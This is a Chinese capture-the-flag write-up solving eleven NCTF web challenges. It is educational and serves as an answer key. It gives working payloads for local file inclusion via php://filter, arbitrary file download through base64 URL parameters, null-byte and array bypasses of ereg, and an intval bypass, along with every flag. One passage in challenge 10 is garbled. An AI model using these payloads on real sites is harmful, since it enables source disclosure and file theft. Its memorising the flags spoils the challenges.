0x00
本周做了NCTF的几道题,分享一下wp。
原题链接
1 层层递进
脑洞题:
一开始没思路,后来F12找线索,然后发现了几个比较可疑的文件,发现一个404.html,打开试了一下。
查看源代码,发现有段js被注释了,仔细看看这段js代码。一眼就看出了flag。
nctf{this_is_a_fl4g}
2 AAencode
明显是编码,还做过类似的。console解释即可。
nctf{javascript_aaencode}
3 单身二十年
真信了,点进去没有,返回查看源码,看到了,php的地址,进入可以看到flag。
nctf{yougotit_script_now}
4 你从哪里来
are you from google?
明显让我们构造一个来自谷歌的地址,想到http请求的Referer字段,记录从哪个网址进入当前网址。
但是并没有出来flag。网上搜了一下,一样的做法,比较懵。。。
5 php decode
<?php
function CLsI($ZzvSWE) {
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;
}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>
利用php解码,只要把eval函数换成echo,即可。
得到flag:nctf{gzip_base64_hhhhhh}
6 文件包含
让我点,就点进去了。出来了这个url:
http://4.chinalover.sinaapp.com/web7/index.php?file=show.php
很明显有文件包含在里面。一开始以为会把flag放在其他文件,文件包含来读。但是因为不知道flag包含在哪个文件,摸黑试了几个,但是没用,于是放弃了这个方法。
了解了新的姿势
可以构造php://filter 语句过滤,可以得到index.php的源码(base64加密
)。
file=php://filter/read=convert.base64-encode/resource=index.php
解密得到源码,然后就得到flag了。
<html>
<title>asdf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}
?>
</html>
7 单身二十年也没用
在消息头,没意思。
得到flag: nctf{this_is_302_redirect}
8 Download
查看源码:
发现下载链接的url:
download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=
于是想下载download.php看看。
?url=ZG93bmxvYWQucGhw
http://way.nuptzj.cn/web6/download.php?url=ZG93bmxvYWQucGhw
看到源码,^_^
<?php
error_reporting(0);
include("hereiskey.php");
$url=base64_decode($_GET[url]);
if( $url=="hereiskey.php" || $url=="buxiangzhangda.mp3" || $url=="xingxingdiandeng.mp3" || $url=="download.php"){
$file_size = filesize($url);
header ( "Pragma: public" );
header ( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
header ( "Cache-Control: private", false );
header ( "Content-Transfer-Encoding: binary" );
header ( "Content-Type:audio/mpeg MP3");
header ( "Content-Length: " . $file_size);
header ( "Content-Disposition: attachment; filename=".$url);
echo(file_get_contents($url));
exit;
}
else {
echo "Access Forbidden!";
}
?>
又看到一个文件:hereiskey.php ,估计flag就在这里面。
?url=aGVyZWlza2V5LnBocA==
http://way.nuptzj.cn/web6/download.php?url=aGVyZWlza2V5LnBocA==
得到flag:nctf{download_any_file_666}
9 cookie
提示0 == no
那么1 == yes
容易想到修改cookie字段Login的值为Login=1;
得到flag。
flag:nctf{cookie_is_different_from_session}
10 MYSQL
写过爬虫的都知道robots协议,百科传送门
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?>
很明显输入一个id值,由于GET方法,直接在url中输入即可,
id!=1024,
但是where id =’
id′,怀疑
i
d
′
,
怀
疑
id=intval($_GET[id])==1024,
于是试了一下?id=1024.5,过了。
chinalover.sinaapp.com/web11/sql.php?id=1024.5
the flag is:nctf{query_in_mysql}
11 /x00
源码:
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
变量nctf 要是数字而且要包含#biubiubiu,很神奇吧,怎么可能呢。。。
其实提示说了,/x00,想到用/x00截断,那么原理是什么呢?
这里ereg有两个漏洞
1. %00截断及遇到%00则默认为字符串的结束
2. 当nctf为数组时它的返回值不是FALSE
所以有两个方法去攻这道题目
1. 令nctf=123%00#biubiubiu
2. 令nctf为数组则,nctf[]=111
附加:
=== 格式也等
!== (0!==false 为true)
所以,这道题的解法就出来了:
1. ?nctf=123%00%23biubiubiu
2. ?nctf[]=12
flag:nctf{use_00_to_jieduan}